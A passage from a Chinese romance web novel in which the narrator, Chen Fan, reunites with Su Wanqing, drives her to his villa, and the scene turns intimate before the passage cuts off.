那声音里,有一种说不出的温柔和思念。
然后她扑进我怀里,紧紧抱住我。
我愣了一下,然后伸手,揽住她的腰。
她把脸埋在我胸口,深深吸了一口气。
“我想你。”她的声音闷闷的,带着一丝鼻音道:“很想你。”
我没有说话,只是把她抱得更紧。
过了好一会儿,她才从我怀里退出来,抬起头看着我。她的眼眶有些红,但嘴角挂着笑。
“你瘦了。”我看着她说道。
“你也是。”她轻轻笑了,伸手在
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我胸口捶了一下,道:“骗人,我明明胖了两斤。”
我也笑了,说道:“走吧,车在外面。”
我接过她的行李箱,另一只手自然地牵起她的手,她将我的手,握的很紧很紧。
我开着车,苏婉情坐在副驾驶,她一直侧着头看我,那目光里有深深的喜欢和好奇。
“看什么?”我问。
“看你。”她说,语气坦然道:“好久没见了,让我多看几眼。”
我没有说话,只是嘴角微微弯起。
她沉默了一会儿,忽然问:“陈凡,你找我来,是不是有事?”
我看了她一眼,到:“为什么这么问?”
她轻轻笑了,那笑容里有一丝自嘲。
“因为你是陈凡,你不会无缘无故找一个人。”
我沉默了几秒,道:“是的,有事找你。”
她点点头,没有追问,只是靠回椅背上,看着窗外飞速**的风景。
“那就等到了再说,现在,让我先好好看看你。”
我开着车子继续向前,驶向别墅。
一个小时后,车子驶进别墅区,停在那栋白色别墅门口。
柳媚笙和兰馨不在,我提前跟她们说了,今天有客人来,她们去了市区逛街。
我提着苏婉情的行李箱,带她走进别墅。
她站在客厅中央,四处打量着这个陌生的环境。
“环境不错。”她说道:“这里比我想象的温馨。”
我把行李箱放在一边,走到她面前,她转过身,看着我。
我们相对而立,距离很近,近到能听见彼此的呼吸。
“陈凡。”她轻声叫我的名字。
“嗯。”
“你知不知道,我等这一天,等了多久?”
我看着她的眼睛,那里面有千言万语,有无数个日夜的思念。
我没有回答,只是深情的看着她,她也不需要我回答。
这个在我刚刚事业起步,就主动投怀送抱的女人,还将第一次给了我。
她踮起脚,吻了上来。
那个吻很轻,很柔,但很快,它就变得炽热起来。
我回应着她。
她的手攀上我的肩,手指**我的头发里,我的手揽住她的腰,把她紧紧贴在我身上。
不知是谁先动的,我们倒在了沙发上。
她的眼睛像两颗燃烧的星星。
“陈凡。”她轻声说道:“要我。”